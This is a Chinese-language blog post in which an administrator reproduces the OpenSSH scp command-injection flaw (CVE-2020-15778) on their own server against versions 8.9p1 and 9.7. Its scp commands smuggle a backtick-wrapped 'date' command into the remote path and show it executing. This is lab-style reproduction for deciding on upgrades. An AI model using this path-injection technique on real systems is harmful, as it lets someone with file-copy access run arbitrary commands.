Skip to main content

Openssh命令注入漏洞

·272 words·2 mins
Server openssh

OpenSSH CVE-2020-15778 漏洞 #

复现这个漏洞需要有服务器凭证,如果没有服务器凭证,攻击者无法利用这个漏洞。即使升级到OpenSSH 9.7,CVE-2020-15778的命令注入漏洞依然存在。扫描结果显示没有其他安全漏洞存在,保留长期支持(LTS)版本OpenSSH 8.9是可行的。由于CVE-2020-15778漏洞仍然未被修复,更新到更新的OpenSSH版本并不能修复该命令注入漏洞,反而由于不是LTS版本,可能增加潜在的风险。

漏洞复现 #

测试环境 #

  • LTS 版本(OpenSSHv8.9p1):运行在端口22
  • 最新版本(OpenSSHv9.7):临时运行在端口8000

测试22端口的OpenSSHv8.9p1服务 #

连接命令 #

在本地电脑使用以下命令连接到运行在22端口的OpenSSH服务:

ssh lzl@服务器ip -p 22 -i ~/.ssh/container -v

参数说明 #

  • -p 22:指定连接的端口号为22。
  • -i ~/.ssh/container:指定使用的SSH密钥文件路径。
  • -v:启用详细模式,打印连接过程中的详细信息。

在debug信息中可以看到

debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
debug1: match: OpenSSH_8.9p1 Ubuntu-3ubuntu0.7 pat OpenSSH* compat 0x04000000
debug1: Authenticating to 服务器ip:22 as 'lzl'
...
...
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64)

这表明服务器22端口运行的是OpenSSH_8.9p1版本。

scp漏洞复现 #

exit命令断开当前连接,在本地电脑使用以下命令将 log.txt 文件通过 SCP 传输到远程服务器,并尝试命令注入漏洞:

(base) ➜  ~ exit
scp -i ~/.ssh/container -P 22 log.txt lzl@服务器ip:'`date > date.txt`/home/lzl/'
log.txt    100%  370   697.8KB/s   00:00  

参数说明 #

  • -P 22:指定连接的端口号为22。
  • -i ~/.ssh/container:指定使用的SSH密钥文件路径。
  • log.txt:本地要传输的文件。
  • lzl@服务器ip:远程服务器用户名和地址。
  • ‘`date > date.txt`/home/lzl/’:尝试在文件路径中插入命令 date > date.txt,测试命令注入漏洞。结果仅显示文件传输成功

检查文件 #

远程服务器上,检查文件是否成功传输,并验证 date.txt 文件是否存在。

(base) ➜  ~ ls /home/lzl | grep txt
date.txt
log.txt
(base) ➜  ~ cat /home/lzl/date.txt
Fri May 24 12:23:10 PM CST 2024
(base) ➜  ~ 

从输出中可以看到:

  • log.txt 文件成功传输到 /home/lzl/ 目录。
  • date.txt 文件存在,并包含了命令 date 的输出。

这表明22端口上运行的OpenSSH服务存在命令注入漏洞。

测试8000端口的OpenSSHv9.7服务 #

连接命令 #

服务器在8000端口临时启动一个sshd服务后,在本地电脑使用以下命令连接到运行在8000端口的OpenSSH服务:

ssh lzl@服务器ip -p 8000 -i ~/.ssh/container -v

在debug信息中可以看到

debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
debug1: Remote protocol version 2.0, remote software version OpenSSH_9.7
debug1: match: OpenSSH_9.7 pat OpenSSH* compat 0x04000000
debug1: Authenticating to 服务器ip:8000 as 'lzl'
...
...
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64)

这表明服务器8000端口运行的是OpenSSH_9.7版本。

scp漏洞复现 #

exit命令断开当前连接,在本地电脑使用以下命令将 log.txt 文件通过 SCP 传输到远程服务器,并尝试命令注入漏洞:

(base) ➜  ~ scp -i ~/.ssh/container -P 8000 log.txt lzl@服务器ip:'`date > date_8000.txt`/home/lzl/'
log.txt 100%  370   615.9KB/s   00:00   

结果仅显示文件传输成功

检查文件 #

远程服务器上,检查文件是否成功传输,并验证 date_8000.txt 文件是否存在。

(base) ➜  ~ ls /home/lzl | grep txt
date_8000.txt
date.txt
log.txt
(base) ➜  ~ cat date_8000.txt
Fri May 24 12:28:08 CST 2024
(base) ➜  ~ 

结果显示date_8000.txt 文件存在,并包含了命令 date 的输出。

这表明8000端口上运行的OpenSSHv9.7服务也存在命令注入漏洞。

结论 #

通过以上测试可以得出结论:

  • 服务器22端口上运行的OpenSSH_8.9p1版本存在命令注入漏洞。
  • 服务器8000端口上运行的OpenSSH_9.7版本也存在命令注入漏洞。

因此,升级到最新的OpenSSH版本(9.7)并不能修复该命令注入漏洞,反而由于不是LTS版本,可能增加潜在的风险。基于以上测试结果,建议继续使用LTS版本的OpenSSH,并等待漏洞修复后再考虑升级。

Related

iptables settings
·141 words·1 min
Server iptables firewall
OpenVPN Configuration Guide
·412 words·2 mins
Server vpn setup
组会4-W3
·4 words·1 min
Category Tag